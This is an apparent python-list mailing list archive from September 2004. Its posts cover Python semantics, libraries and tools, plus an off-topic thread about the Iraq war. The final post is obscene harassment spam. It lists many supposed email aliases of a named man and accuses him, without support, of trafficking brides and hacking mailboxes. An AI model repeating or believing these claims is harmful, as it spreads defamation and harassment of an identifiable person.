> > technical) the name or other slot holding the object.
> 
> I've never understood why it does that. If you have a mutable object
> that is updated, then the rebinding makes no sense whatsoever.

I guess the point is that:

T = (X,)
T[0] += Y

*MUST* fail, whatever X's type; having it fail when (e.g.) type(X) is
str and succeed when type(X) is list would be strange...

> The problem is that it's not just confusing, I think I  have a
> reasonable expectation that if it fails, it fails atomically.

I guess the problem here is that we can't be sure that the semantics of,
say,
   T[x] = T[x]
are to either fail or be a no-operation, and in the latter case future
assignments to T[x] won't fail.  That depends on type(T)... and I don't
see other ways to ensure 'atomicity' -- we can't afford to deepcopy X
before calling X.__iadd__, after all, just to try and ensure we can
"undo" the effect of the latter.

If you disagree with the details of T[x] += y chosen semantics (and I
can well see why one might), I think you should get together with others
who agree with you and put together a PEP in time for Python 3000, which
will probably be the one and only chance to introduce incompatible
changes in this matter (like in others).  While I can sympathize with
your qualms, I think that preparing a PEP to specify precisely what
should happen in such cases will help you see why the current semantics
were chosen.  Similarly for someobj.anattr += whatever and so on, of
course.  Python 3000 is years away, so it's not an urgent matter, but
without such a PEP I think I can predict these details won't change.


Alex


From skip at pobox.com  Fri Sep 10 10:23:55 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 10 Sep 2004 09:23:55 -0500
Subject: WxInter
In-Reply-To: <1094825049.638700@news.commspeed.net>
References: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net>
	<1094825049.638700@news.commspeed.net>
Message-ID: <16705.47355.109973.263814@montanaro.dyndns.org>


    Tom> It seems that the thing that people like about Tk is the Canvas
    Tom> object has anyone tried the wxFloatCanvas as a replacement.

Where is it?  Google turns up essentially nothing for "wxFloatCanvas" on
either groups or web.  That makes it a pretty well-hidden object.  Google
offered "wxPlotCanvas" as an alternative.  Are they related?

Skip


From john at grulic.org.ar  Thu Sep  9 10:40:13 2004
From: john at grulic.org.ar (John Lenton)
Date: Thu, 9 Sep 2004 11:40:13 -0300
Subject: xpath and python
In-Reply-To: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk>
References: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk>
Message-ID: <20040909144013.GB26093@grulic.org.ar>

On Thu, Sep 09, 2004 at 10:10:32AM +0100, C Gillespie wrote:
> 
> Does anyone know if there is a python library that accepts xpath constructs?

the fastest I've found is the one in libxml2.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
Q:	How much does it cost to ride the Unibus?
A:	2 bits.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/5b630728/attachment.sig>

From carribeiro at gmail.com  Thu Sep 23 14:52:00 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 23 Sep 2004 15:52:00 -0300
Subject: Why not FP for Money?
In-Reply-To: <civ3jc$g68$0$216.39.172.122@theriver.com>
References: <mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ3jc$g68$0$216.39.172.122@theriver.com>
Message-ID: <864d370904092311523c3b8877@mail.gmail.com>

On 23 Sep 2004 18:10:52 GMT, Bengt Richter <bokr at oz.net> wrote:
> >>>> a = $35.72
> >>>> b = $1.73
> >>>> a+b
> >$37.45
> ...
> I'd prefer not to use up '$' for something that specialized.
> ISTM we already have a precedent with longs: i.e., an L suffix. So why not
> a D suffix for decimal literals? E.g.,
> 
>      a = 35.72D  # 35.7200D e.g. would specify greater guaranteed precision
>      b = 1.73D
>      a+b
>      37.45D

That's what is nice about $ -- it is a specialized case, and it's a
special symbol that is readily recognized by most people as associated
with money. Not that I don't like the suffix idea -- it's only that I
think that, for a novice, it's much easier to read the $ as a prefix
for money (unless he was previously exposed to Perl, regexps and stuff
- but I'm assuming that the people that need more the Money type
aren't this type of users).

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From peter at engcorp.com  Thu Sep 23 13:31:31 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 23 Sep 2004 13:31:31 -0400
Subject: spliting a list by nth items
In-Reply-To: <mailman.3802.1095960335.5135.python-list@python.org>
References: <mailman.3802.1095960335.5135.python-list@python.org>
Message-ID: <QcudnRef363plc7cRVn-vg@powergate.ca>

Steven Bethard wrote:
> I feel like this has probably been answered before, but I couldn't
> find something quite like it in the archives.  Feel free to point me
> somewhere if you know where this has already been answered.
> 
> I have a list in a particular order that I want to split into two
> lists: the list of every nth item, and the list of remaining items. 
> It's important to maintain the original order in both lists.
> 
> So the first list is simple:
> 
> nth_items = items[::n]
> 
> The second list is what's giving me trouble.  So far, the best I've
> come up with is:
> 
> non_nth_items = list(items)
> del non_nth_items[::n]
> 
> Is this the right way to do this?

There's probably no "right" way.  Your way isn't the way I
would have thought to do it, I think.  But it's brilliant. :-)
(Also simple and clear.)

-Peter


From __peter__ at web.de  Sat Sep  4 14:13:21 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 04 Sep 2004 20:13:21 +0200
Subject: list conversion question
References: <mailman.2860.1094267481.5135.python-list@python.org>	<3Ma_c.13188$Dl4.3729@fe2.texas.rr.com>
	<ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net>
	<mailman.2871.1094320747.5135.python-list@python.org>
Message-ID: <chd0k2$hom$02$1@news.t-online.com>

Jp Calderone wrote:

>    Even faster, though perhaps not as clear:
> 
>      >>> import operator
>      >>> hist = [ 0, 1, 0, 5, 43 ]
>      >>> map(operator.itemgetter(0), sorted(enumerate(hist),
>      ...                             key=operator.itemgetter(1)))
>      [0, 2, 1, 3, 4]
 
Yet another option, not benchmarked, perhaps clearer:

>>> hist = [0, 1, 0, 5, 43]
>>> indices = range(len(hist))
>>> indices.sort(key=hist.__getitem__)
>>> indices
[0, 2, 1, 3, 4]

Peter



From zanesdad at bellsouth.net  Mon Sep 20 21:00:11 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Mon, 20 Sep 2004 21:00:11 -0400
Subject: python is going to die! =(
In-Reply-To: <rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net>
References: <mailman.3520.1095631846.5135.python-list@python.org>	<278de0e.0409201131.57baf7f9@posting.google.com>	<414f61bf$0$29449$636a15ce@news.free.fr>
	<rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net>
Message-ID: <414F7D1B.3090209@bellsouth.net>

Andrew Dalke wrote:

> bruno modulix wrote:
>
>> Well, you forgot emacs, the best Python IDE around - and it's free...
>
>
> Speaking of which, is there any way to get tab-completion
> (intellisense?) behaviour in emacs?  Or in the interactive
> interpreter?
>
>                 Andrew
>                 dalke at dalkescientific.com

Well, it's not emacs nor is it the standard Python interactive 
interpreter, but IPython has tab-completion.  From the main IPython site 
(http://ipython.scipy.org/):

Completion in the local namespace, by typing TAB at the prompt. This 
works for keywords, methods, variables and files in the current 
directory. This is supported via the readline library, and full access 
to configuring readline's behavior is provided.

I've started trying to use it.  It's got a different "feel" from the 
standard interpreter - may be nothing more than the default prompts, but 
it's got some nice features.  I'm going to invest some time using it and 
see if it is a good fit for me.

To the point of the rant, I've found myself very productive with just 
gvim and the standard Python interactive interpreter (and now trying 
IPython).  I've tried several different editors/IDEs (Eclipse, JEdit, 
Ultra-Edit, emacs maybe a few others) and have found myself most 
productive with gvim.  And I don't think I'm one of the old farts just 
yet - only 31 and only been programming for a few years now.   Anyhow, I 
don't think that the tools make or break the language - at least when 
you've got a great language like Python.  Maybe you _need_ a boat load 
of tools when you have a deficiency in the language - like Java (which I 
have programmed in a little and I presume in C# which I have never 
programmed in).  Anyway, just my $.02 worth.


Jeremy Jones



From jmfbahciv at aol.com  Sat Sep 11 10:22:44 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Sat, 11 Sep 04 14:22:44 GMT
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<1ctshc.kd52.ln@via.reistad.priv.no>
Message-ID: <41431d5f$0$6923$61fed72c@news.rcn.com>

In article <1ctshc.kd52.ln at via.reistad.priv.no>,
   Morten Reistad <firstname at lastname.pr1v.n0> wrote:
>In article <1oh3k01cieht04nmfo27pvihg8teme0mdt at 4ax.com>,
>Alan Balmer  <albalmer at spamcop.net> wrote:
>>On Fri, 10 Sep 2004 00:13:56 +0200, Morten Reistad
>><firstname at lastname.pr1v.n0> wrote:
>>
>>>>However Bush is demonstrably poor.  He ignored the warnings from
>>>>the CIA, FBI, outgoing Clinton administration about imminent
>>>>attacks.  He was focused on attacking Saddam and Iraq from the
>>>>first, and perverted 9/11 into that at the earliest opportunity. 
>>>>He has offended many more than most of his predecessors.  I will
>>>>say that he seems to have learned the names of some foreign
>>>>leaders since being elected.
>>>
>>>Bush has had an agenda all right; but I don't quite get what it is. 
>>>
>>And, of course, entertaining the possibility that his agenda is just
>>what he says it is, is completely out of the question.
>
>I just cannot understand what he wanted to do with Iraq, so fast and
>with such a limited expedition corps. 
>
>If we for a moment give them the benefit of the doubt and assume that
>Iraq WAS a hotbed of terrorists buiding WMD's. There may after all be
>some information they cannot tell us. This would explain the
>hurry and the go-it-alone tactic. In that case , why wasn't the place
>hit a lot harder; int the Nixon/Pinochet style? Why a PHB like Bremer?
>Why not a real tough army goy the first couple of months? I just cannot
>make sense of this scenario.

I had assumed this was to placate France, Germany and Russia.
IMO, there was too much politics and not enough military.
>
>On the other hand, it may be a wish to liberate Iraq from the ravages
>of Saddam, and a final round of being pissed at Saddam repeatedly 
>flouting the ceasefire agreement. This is a perfectly legitimate 
>reason to escalate the war again (it is the same war, there was never
>a peace agreement, only a cease-fire). In that case a few rounds of
>UN song and dance could be done while a new coalition was built; with 
>the US taking around a fourth of the cost and manpower, like last time.
>This could be convincingly sold to the Iraqi populace as a liberation.

But France, Germany and Russia would have nothing to do with that.
It would stop their cash flows with Saddam if we had tried to build
a coalition.  They were farting around using all kinds of delay
tactics and were more than willing to allow Saddam to flaunt
the cease fire.  With nobody watching the bad boy, he could
do anything he damned well wanted to, including allow transport
across his country from east to west.
>
>So, I don't get it if the agenda is just what is spoken. If the agenda
>is to make way for Israel scenario #2 would still be a better one.
>
>Contrast this with Afghanistan, where there was a pretty high urgency
>to get the al-Quaeda and the Taliban before they moved with another 
>terrorist monstrosity. Yet, a large alliance was built, NATO was used
>as far as it could be stretched. the UN was in on it; and the US ended
>taking around half the cost and supplying a fifth of the manpower. 
>With a similar strategy in Iraq the US could have resources left over
>to handle North Korea, Sudan, Sierra Leone with less expenditure than
>what you ended up with. 
>
>I just don't get it. The stated agenda is either misstated, or grossly
>misimplemented.

Or the agenda changed in midstream.

/BAH

Subtract a hundred and four for e-mail.


From peter at engcorp.com  Wed Sep 15 08:22:32 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 15 Sep 2004 08:22:32 -0400
Subject: Strange "feature" involving double slashes in Win98
In-Reply-To: <mailman.3341.1095211392.5135.python-list@python.org>
References: <mailman.3327.1095192228.5135.python-list@python.org>	<ci7kou$eqj$00$1@news.t-online.com>	<qOGdnf9RP5WexdrcRVn-oA@powergate.ca>	<mailman.3331.1095196635.5135.python-list@python.org>	<q-KdnbQfKohB8NrcRVn-ug@powergate.ca>	<mailman.3334.1095201604.5135.python-list@python.org>	<huCdnXtcC8xsCdrcRVn-sg@powergate.ca>
	<mailman.3341.1095211392.5135.python-list@python.org>
Message-ID: <k7ydnUexUf2VqdXcRVn-hg@powergate.ca>

Carlos Ribeiro wrote:

> Oops. For some reason I misread your message. I'm using Win98 SE, and
> have no plans to upgrade (at least while I'm limited to my current PC
> setup).
> 
> Regarding this bug: if it's clear that this is Windows bug, does it
> make sense to fix it in the libraries themselves? 

Not sure, but one could argue that if the OS routine to do this is
buggy, the code that was put in to take advantage of it should be
removed and a different approach taken.  Or if it's important
enough, a special case could be inserted.  I suspect your opinion
is valid on this: too few places have paths that look like c://work
to bother fixing this.

-Peter


From aleaxit at yahoo.com  Tue Sep  7 13:45:15 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 19:45:15 +0200
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
	<mailman.2955.1094538759.5135.python-list@python.org>
	<1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com>
	<mailman.2962.1094543082.5135.python-list@python.org>
	<1gjqq4n.ymzsqv1qptuk5N%aleaxit@yahoo.com>
	<mailman.2987.1094577821.5135.python-list@python.org>
Message-ID: <1gjrddo.1th1j1nl002grN%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:

> Alex Martelli <aleaxit <at> yahoo.com> writes:
> > It's partly a matter of "look before you leap" versus "easier to ask
> > forgiveness than permission", a conceptual distinction that IS quite a
> > hobby-horse of mine (although "practicality beats purity", mind you.
> 
> Well, in either case, someone is looking before they leap.  If __len__ is
> checked in the protocol, then the protocol (i.e. the Python interpreter) has
> to do the looking.  Otherwise, the programmer has to do the looking to
> determine when to raise the IndexError.

If and only if __len__ is the ONLY sane way to tell, yes.  Such cases
are exceedingly rare in practice, as you point out:


> Hmm...  Though I guess it kinda depends what you do in your __getitem__...
> The example we've been looking at was something like:
> 
> class S:
>     def __len__(self): return 42
>     def __getitem__(self, i):
>         if 0 <= i < len(self):
>             return i
>         raise IndexError, i
> 
> So in this case, the programmer has to "look before they leap" (hence the if
> statement).  But in a more realistic situation, I can see that maybe you could
> just "ask forgivenesss instead of permission":
> 
> class T:
>     def __init__(self, data): self.data = data
>     def __len__(self): return len(self.data)
>     def __getitem__(self, i):
>         try:
>             return self.data[i]
>         except (IndexError, KeyError):
>             raise IndexError, i
> 
> No look-ahead here -- assume you'll usually get valid indices and catch the
> exception if you don't.

Right, except you don't have to intercept and reraise IndexError, just
let it propagate (if KeyError is meaningfully possible and excepted then
yes, you do have to catch and translate _that_ one).


Alex


From steven.bethard at gmail.com  Wed Sep 15 02:27:59 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 15 Sep 2004 06:27:59 +0000 (UTC)
Subject: deque slicing
References: <mailman.3323.1095186484.5135.python-list@python.org>
	<NFQ1d.9016$sX2.5229@trndny09>
Message-ID: <loom.20040915T082214-561@post.gmane.org>

Raymond Hettinger <vze4rx4y <at> verizon.net> writes:
> Even getitem/setitem were a stretch (they perform best at endpoints) and were
> added to make deques substitutable for lists in stack/queue applications 
> using d[0] and d[-1] to implement peekleft() and peekright() operations.

Ahh, ok, so the functionality I was really looking for is peekleft(n).  That 
is, a peek function that would return the first n items, starting at the 
left.  (If you're curious why I wanted this, see the peekable class in 
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/304373.)  I assumed 
that the best way to get this was slicing, but are there plans for such a 
peekleft function?

Steve



From skip at pobox.com  Thu Sep  2 17:21:02 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Sep 2004 16:21:02 -0500
Subject: shelve like interface to MySQLdb
In-Reply-To: <d3763dc4.79b2ac99.9265c00@po-d.temple.edu>
References: <d3763dc4.79b2ac99.9265c00@po-d.temple.edu>
Message-ID: <16695.36542.40493.294332@montanaro.dyndns.org>


    brian> I've done some googling and came up empty. Is there a simple way
    brian> to create a shelve like interface to a MySQL table? The keys
    brian> would be a direct mapping to the primary key in the table.

Perhaps overkill for your needs, but it sounds like you want part of what an
object-relational mapper does.  See here:

    http://www.thinkware.se/cgi-bin/thinki.cgi/ObjectRelationalMappersForPython

for Pythonic instantiations of the concept.

Skip


From lbates at swamisoft.com  Mon Sep 13 17:44:49 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Mon, 13 Sep 2004 16:44:49 -0500
Subject: access tga image size
References: <8c2f23c.0409131332.41657a38@posting.google.com>
Message-ID: <EMmdnborhOtUidvcRVn-gg@comcast.com>

You will need to get and install a copy of
PIL (Python Imaging Library) available at:

http://www.pythonware.com/products/pil/index.htm

then in Python:

import Image

filepath='<insert filename path here>'
im=Image.open(filepath)
height, width=im.size
print "%s-height=%i, width=%i" % (filepath, height,
                                  width)

or for all files in a directory

import glob
import Image

filepathlist=glob.glob(r"c:\images\*.tga")
for filepath in filepathlist:
    im=Image.open(filepath)
    height, width=im.size
    print "%s-height=%i, width=%i" % (filepath, height,
                                  width)


Larry Bates
Syscon, Inc.


"haddock" <saperlipopette at gmx.ch> wrote in message
news:8c2f23c.0409131332.41657a38 at posting.google.com...
> hi all
>
> Is it possible to access the size (with and height) of a .tga image in
> python? From the documentation I would say no, but I'm pretty new to
> python...
>
> if the answer really is no, has someone a suggestion how else I could
> write a little script that computes the total area of a large nuber of
> image files in a folder? I should check texturespace for 3D Models,
> and would like to avoid copy pasting them all into Photoshop...
>
> thanks for your trouble
>
> haddock




From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Fri Sep 24 14:17:30 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Fri, 24 Sep 2004 19:17:30 +0100
Subject: reading a rar archive....
In-Reply-To: <19Z4d.2105$Pd2.714832@monger.newsread.com>
References: <19Z4d.2105$Pd2.714832@monger.newsread.com>
Message-ID: <cj1obs$1eb$1@pegasus.csx.cam.ac.uk>

Rene Lopez wrote:
> Is there any way to get python to read files from a rar archive?

If there's not, you could make one using Pyrex and unrarlib. That's an 
exercise for the reader. ;)
--
Michael Hoffman


From carribeiro at gmail.com  Sun Sep  5 16:41:55 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sun, 5 Sep 2004 17:41:55 -0300
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<864d370904090413356356d84d@mail.gmail.com>
	<CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com>
Message-ID: <864d370904090513412acec043@mail.gmail.com>

Well. As said, almost done. One thing that I promise is that, whatever
comes out of this, I promise to summarize a faq-like answer to "why
are sorted() and [i]reversed() named like that".

For now I?ll focus on a single issue now:

My idiom:
reverse_list = [x for x in reversed(mylist)]

Alex's idiom:
reversed_list = list(reversed(mylist))

There is no doubt that Alex's idiom is *much* more efficient than
mine. However, I was left wondering on why didn't I come up with it
first time -- it's obvious once you see it, but still, for some
reason, the list comprehension was more intuitive for me. I don't know
about the rest of Pythoneers, specially newbies, but understanding
*why* did I came up with my version may help to illustrate the mental
model surrounding iterators.

My explanation is that iterators and list comprehensions are
conceptually similar. reversed() or (ireversed(), for that matter)
returns an iterator, so it's relatively simple to use it inside a list
comprehension.

list(), on the other hand, is a built in that takes a sequence as an
argument. And guess what? The argument does not need to be a "true"
sequence or tuple. According to the Python manual,

"list( [sequence])  -- Return a list whose items are the same and in
the same order as sequence's items. sequence may be either a sequence,
a container that supports iteration, or an iterator object. "

So almost anything will do it, but for some reason, I found the list
comprehension version to be more intuitive. Guess I have to read the
manual more often :-)

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From aleaxit at yahoo.com  Sat Sep 25 03:31:52 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 09:31:52 +0200
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<1gkm0e6.chc32oojaw31N%aleaxit@yahoo.com>
	<0lu8l09suqjh3ugkcka20f3mg3mttig6up@4ax.com>
Message-ID: <1gknvl5.1r7djjrcwbtbyN%aleaxit@yahoo.com>

Richard Hanson <me at privacy.net> wrote:
   ...
> > search facilities _together_ with good organization of your materials
> > (if you take the bother of the latter).  Consider Mail.app: its search
> > functionality works across all mailboxes or on a single mailbox --
> > you're _still_ encouraged to do a little decent filing of your mails,
> 
> It *does* seem necessary to "educate" the database about our own
> preferences and styles of organization and the like, as well as
> "rating and filing" specific, individual objects. I'm interested in
> figuring out ways to make it *very* easy to "add value" to the
> database with a more efficient HCI -- unless it's very, very simple to
> do (nearly automatic, even ;-) ), the user won't do it.

There are many kinds of users.  I essentially rely on automatic
classification of mails into mailboxes based on a dozen or so
rules/filters.  But my wife Anna, who's worked as office manager etc for
years, has filing as "second nature" -- _her_ mailboxes (Thunderbird,
her preference) are neat and pristine, just like her filing cabinets.

In real life whenever I have to look for some weird document I face
hours of rummaging through papers trying to divine where I may have put
it; when Anna is looking for a document in her archives, she reaches
into the right folder, and there it is, period.  On computers, with
automatic classification rules and search engines &c, her advantage is
not quite as pronounced -- but it's still there.

I have known several people with a penchant for effective and systematic
filing, though they are no doubt a minority, wrt us slobs.  It's
important for the system not to get in their way: for example, when they
move a mail from folder 'pending purchase decisions' to folder
'purchases considered but rejected', the system must automatically and
seamlessly update the indexes of both folders, and the global index of
all boxes, too.  Otherwise, if the system makes it _less_ effective to
do good classification and filing, it will earn deserved scorn and
enmity from those kind of users.


> > though the search does make it more feasible to survive with the popular
> > "one big inbox and never bother filing" paradigm;-).  
> 
> I'm thinking one database with some auto-indexing helped along with
> specific user guidance re the "value-adding" aspect. Without some sort
> of fast auto-indexing, of course, and without the easy ability for
> user attribute-adding, the "one big box" paradigm could be painfully
> slow for precise narrowing of large collections of heterogeneous
> objects. Presumably, the above mentioned apps, and Google, of course,
> do the auto-indexing part.

Yes, and 'searchlight', Tiger's forthcoming search engine, centralizes
the indexing (still needs SOME cooperation from apps, of course) as well
as the search.  The ability for the user to tag documents with arbitrary
metadata is also a key part of this, I assume it's what you call the
"value adding aspect"?


> > Consider Google:
> > it doesn't eliminate the advantage of well-organized, navigable sites,
> > even though it gives you a chance of surviving the typical "designed by
> > marketing, what's this ``usability'' newfangled thing?!" ones...
> 
> Heh. Don't get me started re the latter... ;-)
> 
> Apple's work definitely sounds like a step in the right direction. Is
> there *complete* integration of *all* object types? 

Only in as much as applications cooperate with the central engine, at
least in some aspects.  That may be why Apple has been circulating
alphas of Tiger to developers with such HUGE lead time, up to a year
before it hits the shelves: Searchlight's value grows exponentially the
more apps register their documents' metadata with it, and use it for
their search facilities -- app developers need time to enable that.  Say
a user prefers Entourage or Thunderbird to Mail.app for their mails:
such a user will find Searchlight less useful than a Mail.app user will
_unless_ these other mail apps cooperate with Searchlight (sure, Apple
might reverse engineer _some_ file formats for documents of some
recalcitrant apps of particular importance, but that's more overall
work, and will still tend to produce results not quite as satisfactory,
than if the app's own developers did the job...).


> As I see it, the user should be able to tap a button and change an
> email into a snailmail doc, or vice versa, say, with the system
> handling the details automagically.

In Tiger, such import/export facilities remain fully up to individual
apps -- there's just no way an indexing and search facility can have
enough metadata on all aspects of documents of disparate types
(including, crucially, formatting/presentation issues) to do the job.

> And, with a few appropriately set
> filters using attributes, sorts, and such, the user should be able to
> see all the emails, documents, pics, sounds, flicks, etc. relating to,
> for example, "Pink Floyd" -- all in one, narrowed view even though the
> objects are of disparate types. 

Yes, this IS part of Searchlight's functionality, and part of the added
value of a centralized indexing/search wrt per-app facilities.

> 
> (Some of my early inspiration was XTREE for DOS from the 1980s --
> XTREE provided a global view which could be narrowed; although, things
> were still a bit primitive back then.)
> 
> I don't have access to the modern Macs -- they sound more interesting
> to me than the Wintels I'm using. (Although, pedantically speaking, my
> currently not-working Fujitsu laptop uses a Transmeta chip, not an
> Intel one.)

Heh -- Anna's got a Fujitsu with a Transmeta chip, too (P2000 Lifebook,
works fine, alas not very fine with Linux yet;-).  And all the Linux
boxes in the house have AMD chips, better value-for-money (there _is_ an
OpenBSD box with a pentium 75 that does routing, firewalling &c year
after year since the dark ages, admittedly).

Today's Macs don't have Tiger yet (unless an alpha-stage developer
preview), though some of the (mostly per-app) search facilities are
indeed excellent even in Panther, the current release of MacOS X.  Tiger
should be out in the spring of 2005, and it will cost about $150 (free
with _new_ Macs, but $150 to upgrade existing ones).


> Mike Meyer's link to an implementation of Jeff Raskin's work also
> sounds quite interesting. I note from scanning the smaller zipfile
> referenced in the link some similarity with my own ideas -- no save or
> delete, for example, such being either unnecessary or is transparently
> handled under-the-covers. 

Yes, Raskin's paradigms are definitely revolutionary, for good or for
evil.  Apple (and I guess MS for Longhorn) OTOH are living in the real
world, where apps from multiple suppliers with their own separate
documents (sometimes in proprietary formats, sigh) are a reality and
users won't drop them (particularly as they need to keep exchanging docs
with other people using other machines), so any paradigm shift must
accomodate the likelihood of gradual and incomplete transitions...


Alex


From tonino.greco at gmail.com  Thu Sep  9 10:06:38 2004
From: tonino.greco at gmail.com (TAG)
Date: Thu, 9 Sep 2004 16:06:38 +0200
Subject: simple string parsing ?
Message-ID: <5db3bf00040909070658936b98@mail.gmail.com>

Hi,

I am new to python and would like to parse a string, well acually a
formula and get the stuff grouped together
eg:

if  I have :

=+GC142*(GC94+0.5*sum(GC96:GC101))

and I want to get :

['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(',
'GC96', ':', 'GC101', ')', ')']

how can I get this ??????

Thanks :)


From adalke at mindspring.com  Thu Sep 30 21:06:23 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 01 Oct 2004 01:06:23 GMT
Subject: Reading a text file backwards
In-Reply-To: <1096591274.689794.313540@k17g2000odb.googlegroups.com>
References: <cjhqf2$9l1$1@news-int.gatech.edu>
	<1096591274.689794.313540@k17g2000odb.googlegroups.com>
Message-ID: <j427d.3315$Yr.336@newsread3.news.pas.earthlink.net>

Graham Fawcett wrote:
> It's just shifting the burden perhaps, but if you're on a Unix system
> you should be able to use tac(1) to reverse your file a bit faster:

Huh.  Hadn't heard of that one.  It's not installed
on my OS X box.  It's on my FreeBSD account as gtac.
Ah, but it is available on a Linux account.

				Andrew
				dalke at dalkescientific.com


From abra9823 at mail.usyd.edu.au  Fri Sep 17 10:30:05 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Sat, 18 Sep 2004 00:30:05 +1000
Subject: thread and tkMessageBox
Message-ID: <1095431405.414af4ed9c73a@www-mail.usyd.edu.au>

hi!

my application consists of a GUI with a number of functions. One of these
runs a server in a separate thread. the thread is started and given the
function start_server to execute
the problem is when within start_server i try to display anything using
tkMessageBox, nothing gets displayed and my application crashes. Any ideas
what i am doing wrong and how to correct it

thanks





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From annaparker at loveyouforever.de  Tue Sep  7 06:09:18 2004
From: annaparker at loveyouforever.de (anna parker)
Date: 7 Sep 2004 03:09:18 -0700
Subject: > > > > matt parker alias ericlunsen@yahoo.com matt parker alias
	yda@yahoo.com matt parker alias dchenka tatyana
	dchenka@yahoo.com matt parker alias e vanlint
	herzog@yahoo.com matt parker alias sergei smith@yahoo.com
	matt parker alias erik vonlunsen
Message-ID: <730fe64c.0409070209.2faa9b11@posting.google.com>

> > > > matt parker alias e van linthout at yahoo.com matt parker spams the shit out of clients and newsgroups matt parker alias eric vonlintherzog at yahoo.com matt parker alias erikvanlint hout at yahoo.com matt parker alias best dayisnow at yahoo.com matt parker alias e vonlindthout at yahoo.com matt parker is a filthy motherfucker that likes computer chess games matt parker alias eric von lindt herzog at yahoo.
> > > > com nail down the cumbag matt parker http://tinyurl.com/58hwa matt parker alias ladiet at yahoo.com matt parker alias erik von linthout at yahoo.com matt parker alias erickvanlunsenhout at yahoo.com matt parker alias erick vanlindt hout at yahoo.com matt parker alias erick von lindt herzog at yahoo.com matt parker alias erick vanlinthout at yahoo.com matt parker alias frank quisinsky at yahoo.com matt parker 
> > > > alias erick vonlunsen herzog at yahoo.com matt parker alias ericvan lint at yahoo.com matt parker trades in teenage brides from russia and the philippines matt parker alias erik vonlunsen at yahoo.com matt parker alias erick lint at yahoo.com matt parker alias robert miller at yahoo.com matt parker hacks mailboxes what constitutes violation of the confidentiality of mail matt parker alias ericvonlindt 
> > > > herzog at yahoo.com matt parker alias pure at yahoo.com matt parker alias tanyadochenkova at yahoo.com matt parker alias ericvanlindt at yahoo.com matt parker alias evon lint at yahoo.com matt parker alias ericvon lunsen herzog at yahoo.com matt parker alias erikvon lindt at yahoo.com matt parker alias erikvanlunsen hout at yahoo.com matt parker alias tania dchenka at yahoo.com matt parker alias erickvan 
